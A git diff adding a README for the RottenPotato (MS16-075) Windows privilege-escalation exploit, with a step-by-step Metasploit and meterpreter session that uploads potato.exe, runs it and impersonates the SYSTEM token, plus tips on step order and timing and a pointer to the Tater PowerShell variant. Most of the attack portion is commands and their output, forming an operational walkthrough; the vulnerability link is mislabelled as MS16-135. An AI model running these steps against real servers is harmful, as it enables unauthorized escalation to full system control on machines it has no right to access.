|
| 1 | +# MS16-075 |
| 2 | + |
| 3 | +- The potato.exe was from [@FoxGlove](https://github.com/foxglovesec/RottenPotato) |
| 4 | +- For a technical overview of this [exploit]( https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) |
| 5 | + |
| 6 | +Vulnerability reference: |
| 7 | + * [MS16-135](https://technet.microsoft.com/library/security/MS16-075) |
| 8 | + |
| 9 | + |
| 10 | +## RottenPotato |
| 11 | + |
| 12 | +Local Privilege Escalation from Windows Service Accounts to SYSTEM |
| 13 | + |
| 14 | +## Videos for example |
| 15 | +- [SQL Server](https://www.youtube.com/watch?v=3CPdKMeB0UY) |
| 16 | +- [IIS](https://www.youtube.com/watch?v=wK0r-TZR7w8) |
| 17 | + |
| 18 | +## Usage of msf |
| 19 | +``` |
| 20 | +msf exploit(web_delivery) > set ExitOnsession false |
| 21 | +msf exploit(web_delivery) > run |
| 22 | +meterpreter > getuid |
| 23 | +Server username: IIS APPPOOL\DefaultAppPool |
| 24 | +meterpreter > getprivs |
| 25 | +=========================================================== |
| 26 | +Enabled Process Privileges |
| 27 | +=========================================================== |
| 28 | + SeAssignPrimaryTokenPrivilege |
| 29 | +
|
| 30 | +meterpreter > upload /root/potato.exe C:\Users\Public |
| 31 | +meterpreter > cd C:\\Users\\Public |
| 32 | +meterpreter > use incognito |
| 33 | +meterpreter > list_tokens -u |
| 34 | +NT AUTHORITY\IUSR |
| 35 | +
|
| 36 | +meterpreter > execute -cH -f ./potato.exe |
| 37 | +meterpreter > list_tokens -u |
| 38 | +NT AUTHORITY\IUSR |
| 39 | +NT AUTHORITY\SYSTEM |
| 40 | +
|
| 41 | +meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" |
| 42 | +
|
| 43 | +meterpreter > getuid |
| 44 | +Server username: NT AUTHORITY\SYSTEM |
| 45 | +``` |
| 46 | + |
| 47 | +### Get a shell has Privileges:SeAssignPrimaryTokenPrivilege |
| 48 | + |
| 49 | + |
| 50 | + |
| 51 | +### Get system Privilege |
| 52 | + |
| 53 | + |
| 54 | + |
| 55 | +*** |
| 56 | +- It is important to impersonate the token (or run list_tokens -u) quickly after runnning the binary. |
| 57 | +- It is also important to follow the order of the steps. |
| 58 | +- Make sure you "use incognito" before running the binary. |
| 59 | + |
| 60 | + |
| 61 | +*** |
| 62 | +##Tater |
| 63 | +a PowerShell implementation of the Hot Potato Windows Privilege Escalation exploit |
| 64 | + |
| 65 | +- The Tater was from [@Kevin-Robertson](https://github.com/Kevin-Robertson/Tater) |
| 66 | + |
0 commit comments